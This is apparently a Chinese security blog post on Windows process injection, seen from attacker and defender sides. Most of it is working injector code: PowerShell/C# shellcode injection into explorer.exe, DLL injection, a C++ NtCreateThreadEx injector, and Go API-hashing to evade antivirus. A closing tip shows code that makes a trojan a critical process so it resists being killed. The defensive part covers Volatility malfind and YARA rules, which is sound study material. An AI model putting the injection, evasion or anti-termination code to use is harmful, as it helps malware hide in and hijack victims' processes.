免杀| 红蓝视角下的Windows进程注入

admin 2024年12月28日12:02:36评论3 views字数 25818阅读86分3秒阅读模式
免杀| 红蓝视角下的Windows进程注入

长风安全实战能力知识库

    http://wave.cf-sec.cn/user/login

免杀| 红蓝视角下的Windows进程注入

一个由实战派推动的安全内容建设平台,传递一线经验,助力实战应用能力提升!

长风安全实战能力知识库

长风安全,公众号:长风安全长风安全实战能力知识库
免杀| 红蓝视角下的Windows进程注入

本文来源于长风安全实战能力知识库7ech_N3rd投稿,基于红蓝对抗视角下对Windows进程注入进行探讨和融入个人想法见解💡

免杀| 红蓝视角下的Windows进程注入
免杀| 红蓝视角下的Windows进程注入

视角一

RedTeam

Red Team

经典路径

(OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread)。就好比把大象放进冰箱要几步:

  • 打开冰箱门(OpenProcess)
     首先,你得找到目标进程(冰箱)并打开它的“门”。
    调用 OpenProcess,就是告诉系统:“我要访问这个进程的资源。”如果成功,你就拿到了目标进程的“句柄”(类似于钥匙)。
  • 腾出空间放大象(VirtualAllocEx)
     冰箱(目标进程)里可能没有足够的空间放你的大象,所以你需要在冰箱里“清理”或“分配”一块空间。
    调用 VirtualAllocEx,就是在目标进程的内存中分配一块新的区域,用来存放你的代码。
  • 把大象放进冰箱(WriteProcessMemory)
     现在有了空间,你需要把你的大象(shellcode代码)放进去。
    调用 WriteProcessMemory,就是把你的代码写入目标进程的内存中。
  • 关上冰箱门并且启动(CreateRemoteThread)
     大象放进去了,但它还只是静静地躺在那里。你需要让冰箱启动,开始“工作”——也就是让目标进程运行你刚才放进去的代码。
    调用 CreateRemoteThread,就是在目标进程中创建一个新的线程,让它指向你写入的shellcode代码起始地址,从而执行你的代码。

具体操作

具体实现的Powershell代码:


Set-StrictMode-Version2

# 定义C#代码
$pmdMx = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Injector {
    public class Functions {
        [Flags]
        public enum ProcessAccessFlags : uint {
            All = 0x001F0FFF,
            CreateThread = 0x0002,
            VirtualMemoryOperation = 0x0008,
            VirtualMemoryRead = 0x0010,
            VirtualMemoryWrite = 0x0020,
            QueryInformation = 0x0400
        }

        [Flags]
        public enum AllocationType : uint {
            Commit = 0x1000,
            Reserve = 0x2000
        }

        [Flags]
        public enum MemoryProtection : uint {
            ReadWrite = 0x04,
            ExecuteRead = 0x20
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);
    }
}
"@


# 编译C#代码
$i70BF = New-Object Microsoft.CSharp.CSharpCodeProvider
$aU = New-Object System.CodeDom.Compiler.CompilerParameters
$aU.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$aU.GenerateInMemory = $True
$lI = $i70BF.CompileAssemblyFromSource($aU$pmdMx)

# 获取目标进程PID(以explorer.exe为例)
$TargetProcess = Get-Process-Name"explorer" | Select-Object-First1
if (-not$TargetProcess) { Write-Error"目标进程未找到!"return }
$TargetPID = $TargetProcess.Id

# 定义Shellcode(替换为实际Shellcode的base64编码)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String("...")

# 调用C#函数
$Injector = $lI.CompiledAssembly.CreateInstance("Injector.Functions")

# 打开目标进程
$ProcessHandle = $Injector::OpenProcess([Injector.Functions+ProcessAccessFlags]::All, $false$TargetPID)
if (-not$ProcessHandle) { Write-Error"无法打开目标进程!"return }

# 在目标进程中分配内存(初始为PAGE_READWRITE)
$RemoteMemory = $Injector::VirtualAllocEx($ProcessHandle, [IntPtr]::Zero, $Shellcode.Length, [Injector.Functions+AllocationType]::Commit, [Injector.Functions+MemoryProtection]::ReadWrite)
if (-not$RemoteMemory) { Write-Error"无法在目标进程中分配内存!"return }

# 写入Shellcode到目标进程
$BytesWritten = [IntPtr]::Zero
$WriteResult = $Injector::WriteProcessMemory($ProcessHandle$RemoteMemory$Shellcode$Shellcode.Length, [ref]$BytesWritten)
if (-not$WriteResult) { Write-Error"无法将Shellcode写入目标进程!"return }

# 修改内存权限为PAGE_EXECUTE_READ
$OldProtect = [Injector.Functions+MemoryProtection]::ReadWrite
$ProtectResult = $Injector::VirtualProtectEx($ProcessHandle$RemoteMemory$Shellcode.Length, [Injector.Functions+MemoryProtection]::ExecuteRead, [ref]$OldProtect)
if (-not$ProtectResult) { Write-Error"无法修改内存权限!"return }

# 创建远程线程执行Shellcode
$ThreadHandle = $Injector::CreateRemoteThread($ProcessHandle, [IntPtr]::Zero, 0$RemoteMemory, [IntPtr]::Zero, 0, [IntPtr]::Zero)
if (-not$ThreadHandle) { Write-Error"无法创建远程线程!"return }

Write-Host"Shellcode注入成功!"

# 关闭句柄
$Injector::CloseHandle($ProcessHandle)
$Injector::CloseHandle($ThreadHandle)

这样就实现了对explorer.exe进程的系统注入了,但是想要防御也十分简单,例如我直接监控CreateRemoteThread函数,给这个函数打上钩子。就可以实现防御,那作为攻击者,我们还有什么其他的手法呢?

dll 注入

  • 经典路径:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(shellcode) -> CreateRemoteThread
  • dll注入:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(dll文件路径) -> CreateRemoteThread(LoadLibraryA(dll文件路径))
     有啥好处呢?这样我们就不用对每一个单独的系统写shellcode,只用通过调用专门的dll就能实现恶意代码的注入,扩展性好,但是api调用路径还是没有大变,还是很容易被查杀,
Set-StrictMode-Version2

# 定义C#代码
$pmdMx = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Injector {
    public class Functions {
        [Flags]
        public enum ProcessAccessFlags : uint {
            All = 0x001F0FFF,
            CreateThread = 0x0002,
            VirtualMemoryOperation = 0x0008,
            VirtualMemoryRead = 0x0010,
            VirtualMemoryWrite = 0x0020,
            QueryInformation = 0x0400
        }
        [Flags]
        public enum AllocationType : uint {
            Commit = 0x1000,
            Reserve = 0x2000
        }
        [Flags]
        public enum MemoryProtection : uint {
            ReadWrite = 0x04,
            ExecuteRead = 0x20
        }
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);
    }
}
"@


# 编译C#代码
$i70BF = New-Object Microsoft.CSharp.CSharpCodeProvider
$aU = New-Object System.CodeDom.Compiler.CompilerParameters
$aU.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$aU.GenerateInMemory = $True
$lI = $i70BF.CompileAssemblyFromSource($aU$pmdMx)

# 获取目标进程PID(以explorer.exe为例)
$TargetProcess = Get-Process-Name"explorer" | Select-Object-First1
if (-not$TargetProcess) { Write-Error"目标进程未找到!"return }
$TargetPID = $TargetProcess.Id

# 定义DLL路径(替换为实际的DLL路径)
$DllPath = "C:PathToYour.dll"
$DllPathBytes = [System.Text.Encoding]::ASCII.GetBytes($DllPath + [char]0)  # 添加字符串结束符

# 调用C#函数
$Injector = $lI.CompiledAssembly.CreateInstance("Injector.Functions")

# 打开目标进程
$ProcessHandle = $Injector::OpenProcess([Injector.Functions+ProcessAccessFlags]::All, $false$TargetPID)
if (-not$ProcessHandle) { Write-Error"无法打开目标进程!"return }

# 在目标进程中分配内存(用于存储DLL路径)
$RemoteMemory = $Injector::VirtualAllocEx($ProcessHandle, [IntPtr]::Zero, $DllPathBytes.Length, [Injector.Functions+AllocationType]::Commit, [Injector.Functions+MemoryProtection]::ReadWrite)
if (-not$RemoteMemory) { Write-Error"无法在目标进程中分配内存!"return }

# 写入DLL路径到目标进程
$BytesWritten = [IntPtr]::Zero
$WriteResult = $Injector::WriteProcessMemory($ProcessHandle$RemoteMemory$DllPathBytes$DllPathBytes.Length, [ref]$BytesWritten)
if (-not$WriteResult) { Write-Error"无法将DLL路径写入目标进程!"return }

# 获取kernel32.dll模块句柄
$Kernel32Handle = $Injector::GetModuleHandle("kernel32.dll")
if (-not$Kernel32Handle) { Write-Error"无法获取kernel32.dll句柄!"return }

# 获取LoadLibraryA函数地址
$LoadLibraryAddress = $Injector::GetProcAddress($Kernel32Handle"LoadLibraryA")
if (-not$LoadLibraryAddress) { Write-Error"无法获取LoadLibraryA地址!"return }

# 创建远程线程,调用LoadLibraryA加载DLL
$ThreadHandle = $Injector::CreateRemoteThread($ProcessHandle, [IntPtr]::Zero, 0$LoadLibraryAddress$RemoteMemory0, [IntPtr]::Zero)
if (-not$ThreadHandle) { Write-Error"无法创建远程线程!"return }

Write-Host"DLL注入成功!"

# 关闭句柄
$Injector::CloseHandle($ProcessHandle)
$Injector::CloseHandle($ThreadHandle)

更加底层(如调NtCreateThreadEx)

要知道CreateRemoteThread函数的原理是调用了驱动层级的NtCreateThreadEx函数,如果我们直接调用NtCreateThreadEx而不是通过用户层级的CreateRemoteThread,就能更难被发现。这里就不适合使用高级的脚本代码进行调用(太繁琐了,Powershell->C#->.NET->win32API),更适合使用Cpp这种语言实现 这里直接参考了三好学生大佬的开源代码,学习了:https://github.com/3gstudent

//Use NtCreateThreadEx to inject dll

#include"stdafx.h"

#include<windows.h>
#include<stdio.h>
#include<tchar.h>
#include<tlhelp32.h>
#pragma comment(lib,"Advapi32.lib"

typedefNTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
 OUT PHANDLE hThread,
 IN ACCESS_MASK DesiredAccess,
 IN PVOID ObjectAttributes,
 IN HANDLE ProcessHandle,
 IN PVOID lpStartAddress,
 IN PVOID lpParameter,
 IN ULONG Flags,
 IN SIZE_T StackZeroBits,
 IN SIZE_T SizeOfStackCommit,
 IN SIZE_T SizeOfStackReserve,
 OUT PVOID lpBytesBuffer)
;

#define NT_SUCCESS(x) ((x) >= 0)

typedefstruct_CLIENT_ID {
 HANDLE UniqueProcess;
 HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedefNTSTATUS(NTAPI * pfnRtlCreateUserThread)(
 IN HANDLE ProcessHandle,
 IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
 IN BOOLEAN CreateSuspended,
 IN ULONG StackZeroBits OPTIONAL,
 IN SIZE_T StackReserve OPTIONAL,
 IN SIZE_T StackCommit OPTIONAL,
 IN PTHREAD_START_ROUTINE StartAddress,
 IN PVOID Parameter OPTIONAL,
 OUT PHANDLE ThreadHandle OPTIONAL,
 OUT PCLIENT_ID ClientId OPTIONAL)
;

BOOL InjectDll(UINT32 ProcessId, char *DllFullPath)
{

if (strstr(DllFullPath, "\\") != 0)
 {
printf("[!]Wrong Dll pathn");
return FALSE;
 }

if (strstr(DllFullPath, "\") == 0)
 {
printf("[!]Need Dll full pathn");
return FALSE;
 }

 HANDLE ProcessHandle = NULL;

 ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (ProcessHandle == NULL)
 {
printf("[!]OpenProcess errorn");
return FALSE;
 }

 UINT32 DllFullPathLength = (strlen(DllFullPath) + 1);
 PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DllFullPathBufferData == NULL)
 {
CloseHandle(ProcessHandle);
printf("[!]DllFullPathBufferData errorn");
return FALSE;
 }
 SIZE_T ReturnLength;
 BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength);

 LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL;
 HMODULE Kernel32Module = GetModuleHandle("Kernel32");
 LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");
 pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if (NtCreateThreadEx == NULL)
 {
CloseHandle(ProcessHandle);
printf("[!]NtCreateThreadEx errorn");
return FALSE;
 }
 HANDLE ThreadHandle = NULL;
NtCreateThreadEx(&ThreadHandle, 0x1FFFFFNULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULLNULLNULLNULL);
if (ThreadHandle == NULL)
 {
CloseHandle(ProcessHandle);
printf("[!]ThreadHandle errorn");
return FALSE;
 }
if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
 {
printf("[!]WaitForSingleObject errorn");
return FALSE;
 }
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}


BOOL FreeDll(UINT32 ProcessId, char *DllFullPath)
{
 BOOL bMore = FALSE, bFound = FALSE;
 HANDLE hSnapshot;
 HMODULE hModule = NULL;
 MODULEENTRY32 me = { sizeof(me) };
 BOOL bSuccess = FALSE;
 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessId);
 bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me)) {
if (!_tcsicmp((LPCTSTR)me.szModule, DllFullPath) || !_tcsicmp((LPCTSTR)me.szExePath, DllFullPath))
 {
 bFound = TRUE;
break;
 }
 }
if (!bFound) {
CloseHandle(hSnapshot);
return FALSE;
 }

 HANDLE ProcessHandle = NULL;

 ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

if (ProcessHandle == NULL)
 {
printf("[!]OpenProcess errorn");
return FALSE;
 }

 LPTHREAD_START_ROUTINE FreeLibraryAddress = NULL;
 HMODULE Kernel32Module = GetModuleHandle("Kernel32");
 FreeLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "FreeLibrary");
 pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if (NtCreateThreadEx == NULL)
 {
CloseHandle(ProcessHandle);
printf("[!]NtCreateThreadEx errorn");
return FALSE;
 }
 HANDLE ThreadHandle = NULL;

NtCreateThreadEx(&ThreadHandle, 0x1FFFFFNULL, ProcessHandle, (LPTHREAD_START_ROUTINE)FreeLibraryAddress, me.modBaseAddr, FALSE, NULLNULLNULLNULL);
if (ThreadHandle == NULL)
 {
CloseHandle(ProcessHandle);
printf("[!]ThreadHandle errorn");
return FALSE;
 }
if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
 {
printf("[!]WaitForSingleObject errorn");
return FALSE;
 }
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return TRUE;
}

BOOL EnableDebugPrivilege(BOOL fEnable)
{
 BOOL fOk = FALSE;
 HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
 {
 TOKEN_PRIVILEGES tp;
 tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
 tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULLNULL);
 fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
 }
return(fOk);
}

intmain(int argc, char *argv[])
{
printf("Use NtCreateThreadEx to inject dllnn");
if (!EnableDebugPrivilege(TRUE))
 {
printf("[!]AdjustTokenPrivileges Failed.<%d>n"GetLastError());
 }

if (argc != 3)
 {
printf("Usage:n");
printf("%s <PID> <Dll Full Path>n", argv[0]);
return0;
 }
if (!InjectDll((DWORD)atoi(argv[1]), argv[2]))
 {
printf("[!]InjectDll error n");
return1;
 }

if (!FreeDll((DWORD)atoi(argv[1]), argv[2]))
 {
printf("[!]FreeDll error n");
return1;
 }
printf("[+]InjectDll successn");
return0;
}

这里的调用链说白了就是

  • EnableDebugPrivilege -> OpenProcess -> VirtualAllocEx -> WriteProcessMemory(dll路径) -> NtCreateThreadEx调用-> Check Thread Object&WaitForSingleObject(检测是否注入成功)->Freedll(善后工作,清理痕迹)
     其中EnableDebugPrivilege是确保我们有能够对其他进程读写的权限,后面的Freedll之类的操作相较于经典路径是被封装到了CreateRemoteThread这个函数里了,所以难度更大

隐式调用

  • 经典路径:OpenProcess -> VirtualAllocEx -> WriteProcessMemory(shellcode) -> CreateRemoteThread
  • 隐式路径:DynamticLoad(OpenProcess) -> DynamticLoad(VirtualAllocEx) -> DynamticLoad(WriteProcessMemory(shellcode)) -> DynamticLoad(CreateRemoteThread)
     这招主要对抗的是静态分析,例如我作为杀软很有可能检测你的具体调用了那些win32API,一但看到这上面几个关键的API说明有大问题。那么我们可以先加载kernel32.dll,然后再去里面根据想要的时候,动态加载那些函数,例如在下面的go代码中,我就是通过哈希来定位具体的函数位置,在使用的时候就可以调用该函数加载了win32API了
package main

import (
"bytes"
"encoding/binary"
"fmt"
"syscall"
"unsafe"
)

const (
 PROCESS_ALL_ACCESS = 0x001F0FFF
 MEM_COMMIT         = 0x1000
 MEM_RESERVE        = 0x2000
 PAGE_READWRITE     = 0x04
)

type ExportDirectory struct {
 Characteristics       uint32
 TimeDateStamp         uint32
 MajorVersion          uint16
 MinorVersion          uint16
 Name                  uint32
 Base                  uint32
 NumberOfFunctions     uint32
 NumberOfNames         uint32
 AddressOfFunctions    uint32
 AddressOfNames        uint32
 AddressOfNameOrdinals uint32
}

funchashFunctionName(functionName string)uint32 {
var hash uint32 = 0
for _, c := range functionName {
 hash = ((hash << 5) + hash) + uint32(c) // 等价于 hash * 33 + c
 }
return hash
}


funcgetProcAddressByHash(module syscall.Handle, targetHash uint32) (uintptrerror) {
 moduleBase := uintptr(module)

 dosHeader := (*[64]byte)(unsafe.Pointer(moduleBase)) // DOS Header
 peOffset := binary.LittleEndian.Uint32(dosHeader[0x3C:0x40])
 peHeader := moduleBase + uintptr(peOffset)

 exportDirectoryRVA := binary.LittleEndian.Uint32((*[4]byte)(unsafe.Pointer(peHeader + 0x78))[:])
 exportDirectory := (*ExportDirectory)(unsafe.Pointer(moduleBase + uintptr(exportDirectoryRVA)))

 addressOfNames := moduleBase + uintptr(exportDirectory.AddressOfNames)
 addressOfFunctions := moduleBase + uintptr(exportDirectory.AddressOfFunctions)
 addressOfNameOrdinals := moduleBase + uintptr(exportDirectory.AddressOfNameOrdinals)

for i := uint32(0); i < exportDirectory.NumberOfNames; i++ {
 nameRVA := *(*uint32)(unsafe.Pointer(addressOfNames + uintptr(i*4)))
 name := (*byte)(unsafe.Pointer(moduleBase + uintptr(nameRVA)))
var nameBuf bytes.Buffer
for *name != 0 {
 nameBuf.WriteByte(*name)
 name = (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(name)) + 1))
 }

 functionName := nameBuf.String()
 hash := hashFunctionName(functionName)
if hash == targetHash {
 ordinal := *(*uint16)(unsafe.Pointer(addressOfNameOrdinals + uintptr(i*2)))
 functionRVA := *(*uint32)(unsafe.Pointer(addressOfFunctions + uintptr(ordinal*4)))
return moduleBase + uintptr(functionRVA), nil
 }
 }

return0, fmt.Errorf("目标函数未找到")
}
...
loadLibraryHash := hashFunctionName("LoadLibraryA"// 动态解析LoadLibraryA的地址 
loadLibraryAddr, err := getProcAddressByHash(syscall.Handle(kernel32), loadLibraryHash)
...

syscall地狱之门

挖个坑先还在学,简单讲就是在当今普遍的64位进程中是可以兼容32位的程序的,那具体是咋实现的呢? 去你的64位电脑C:Windows目录下看看会发现相较于传统的32位电脑SysWow64的文件夹,其实这个里面全是32位的程序,用于兼容64位系统上的32位程序。 WOW64 的具体作用是:

  • 模拟一个 32 位环境,让 32 位程序能够在 64 位操作系统上运行。
  • 将 32 位程序的系统调用请求转换为对应的 64 位系统调用。

“地狱之门”(Hell’s Gate)技术的核心是从 32 位模式切换到 64 位模式。通过这种切换,程序可以直接调用 64 位的系统调用,而绕过 WOW64 的转换层。

切换到 64 位模式后:

  • 程序不再受 WOW64 的限制,可以直接调用 64 位的系统调用。
  • 不需要再通过 Win32 API,直接与内核交互。 一下是具体流程
64 位程序调用流程
---------------------------------------------------------

[64 位程序] --> [Win32 API] --> [64 位系统调用] --> [内核]
---------------------------------------------------------


普通 32 位程序调用流程(经过 WOW64 子系统)
---------------------------------------------------------

[32 位程序] --> [Win32 API (32 位)] --> [WOW64 转换层] --> [64 位系统调用] --> [内核]
---------------------------------------------------------


地狱之门程序调用流程(绕过 WOW64 子系统)
---------------------------------------------------------

[32 位程序] --> [切换到 64 位模式] --> [64 位系统调用] --> [内核]
---------------------------------------------------------


那么如何切换呢?这就要用到汇编代码了,可惜我还不会,请一个逆向大手子来救救我 GPT说是

mov r10, rcx          ; 将第一个参数移动到 r10
mov eax, syscallNumber ; 加载系统调用号到 eax
syscall               ; 执行系统调用
ret                   ; 返回到调用者

视角二

BlueTeam

Blue Team

现在我们了解了那么多的手法,有无好的查杀手段呢?

定位高权限内存数据

在上述的利用链子中我们发现都有一步VirtualAllocEx申请内存为可执行权限,而且允许黑客读写,这其实是相当高的权限了,所以说我们只要定位这一部分的内存数据,结合网络链接情况定位,就能够实现查杀。不止如此,如果一个内存中二进制代码没有对应的硬盘文件内容,那么这个就很有可能是shellcode的了

Volatility一把梭

现有的Volatility工具的malfind插件就是干这个事情的。当你调用插件的时候,首先,malfind 会扫描所有进程的虚拟内存空间,逐一检查每个内存段。它会重点关注内存段的保护标志(Memory Protection Flags),因为合法的代码段通常具有特定的权限,比如 PAGE_EXECUTE_READ 或 PAGE_EXECUTE_READWRITE。如果一个内存段同时具有可执行(EXECUTE)和写入(WRITE)权限(例如 PAGE_EXECUTE_READWRITE),这可能是恶意代码注入的迹象,因为合法的代码段通常不会同时允许写入和执行。

其次,malfind 会检查内存段是否映射到磁盘上的文件。如果一个可执行的内存段没有对应的磁盘文件,那么它很可能是恶意代码,比如通过进程注入或 shellcode 加载的代码。

此外,malfind 还会提取可疑的内存区域,并尝试显示其前几个字节的十六进制和反汇编内容,以便进一步分析。例如,恶意代码的入口点可能包含典型的 shellcode 或异常的指令,这些都可以通过反汇编内容识别出来。 具体命令

vol.py -f <dumpfile> windows.MalFind.Malfind

还有就是重点关注例如explorer.exe,onedrive.exe,svchost.exe这些都是可能的低权限的系统进程,很隐蔽,不好发现有啥问题。还有就是如chrome.exe,msedge.exe这些浏览器进程,因为这些程序向外发送请求非常正常。今年国赛+长城杯的溯源题目就是注入到了Onedrive.exe里面

基于正则的内存检测(yara)

网上有开源的yara框架就是基于正则和规则的扫描:VirusTotal/yara: The pattern matching swiss knife

yara [选项] <规则文件> <目标文件或目录>

这个最主要还是看规则

yara规则大赏

关于开源的规则其实网上也有: 这里我们就拿一个Scarab的恶意进程检测的yar文件来看看yar规则具体是怎么一回事。

import "pe"

rule Scieron
{
    meta:
        author = "Symantec Security Response"
        ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
        date = "22.01.15"

    strings:
        // .text:10002069 66 83 F8 2C                       cmp     ax, ','
        // .text:1000206D 74 0C                             jz      short loc_1000207B
        // .text:1000206F 66 83 F8 3B                       cmp     ax, ';'
        // .text:10002073 74 06                             jz      short loc_1000207B
        // .text:10002075 66 83 F8 7C                       cmp     ax, '|'
        // .text:10002079 75 05                             jnz     short loc_10002080
        $code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}

        // .text:10001D83 83 F8 09                          cmp     eax, 9          ; switch 10 cases
        // .text:10001D86 0F 87 DB 00 00 00                 ja      loc_10001E67    ; jumptable 10001D8C default case
        // .text:10001D8C FF 24 85 55 1F 00+                jmp     ds:off_10001F55[eax*4] ; switch jump
        $code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}

        $str1  = "IP_PADDING_DATA" wide ascii
        $str2  = "PORT_NUM" wide ascii

    condition:
        all of them
}

这个就是导入pe.yar里的所有规则

import pe 

在这里meta部分指得是这个规则的信息,像是作者还有规则发布日期之类的,

meta:
        author = "Symantec Security Response"
        ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
        date = "22.01.15"

而这里的code1是匹配的十六进制变量: $code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05} 对应汇编代码就是

cmp     ax, ','
jz      short loc_1000207B
cmp     ax, ';'
jz      short loc_1000207B
cmp     ax, '|'
jnz     short loc_10002080``

同理$code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24} 但不同的是$str1 = "IP_PADDING_DATA" wide ascii就是匹配中所有内容为IP_PADDING_DATA可见字符 最后的

    condition:
        all of them

就是匹配上述所有的所有变量,包括所有的16进制变量和ASCII变量 那么我们也可以根据这些编写自己的规则了。

Vol + yara联动

其实vol里面也有yarascan的插件用于加载yar规则并且扫描。例如我先用vol的malfindmalscan确定大致的感染进程,然后结合windows.memdump.Memdump来实现导出对应进程内存的镜像,最后使用yara命令来扫描具体是感染了那种木马

花絮

发现一个小技巧,在查资料的时候发现一个内核函数NtSetInformationProcess,我们只要一杀svchost.exe就会蓝屏就是因为系统只要检测到关键进程挂了就会蓝屏。但是这个函数能够把我们的木马程序设置为关键进程,这样就能够实现一定程度的防御杀进程了推荐一下gt428的开源小工具:CriticalProcess/criticalproc.cpp at master · CnAoKip/CriticalProcess

#include<windows.h>
#include<Tlhelp32.h>
#include<stdio.h>
#include<locale.h>
#define ProcessBreakOnTermination 29

typedefNTSTATUS(NTAPI *_NtSetInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength);
typedefNTSTATUS(NTAPI *_NtQueryInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength OPTIONAL);

BOOL WINAPI EnableDebugPrivilege(BOOL fEnable)
{
 BOOL fOk = FALSE;
 HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
 {
 TOKEN_PRIVILEGES tp;
 tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
 tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULLNULL);
 fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
 }
return(fOk);
}

BOOL CallNtSetInformationProcess(HANDLE hProcess, ULONG Flag)
{
 _NtSetInformationProcess NtSetInformationProcess = (_NtSetInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtSetInformationProcess");
if (!NtSetInformationProcess)
 {
return0;
 }
if(NtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, &Flag, sizeof(ULONG))<0)
return0;
return1;
}

BOOL CallNtQueryInformationProcess(HANDLE hProcess, PULONG pFlag){
 _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess)
 {
return0;
 }
if(NtQueryInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)ProcessBreakOnTermination, pFlag, sizeof(ULONG), NULL)<0)
return0;
return1;
}

DWORD WINAPI GetProcessID(LPCSTR FileName)
{
 HANDLE myhProcess;
 PROCESSENTRY32 mype;
 mype.dwSize = sizeof(PROCESSENTRY32); 
 BOOL mybRet;
 myhProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 mybRet = Process32First(myhProcess,&mype);
while(mybRet){
if(lstrcmpA(FileName ,mype.szExeFile) == 0return mype.th32ProcessID;
else mybRet = Process32Next(myhProcess,&mype);
 }
return0;
}

staticvoidprint_help(){
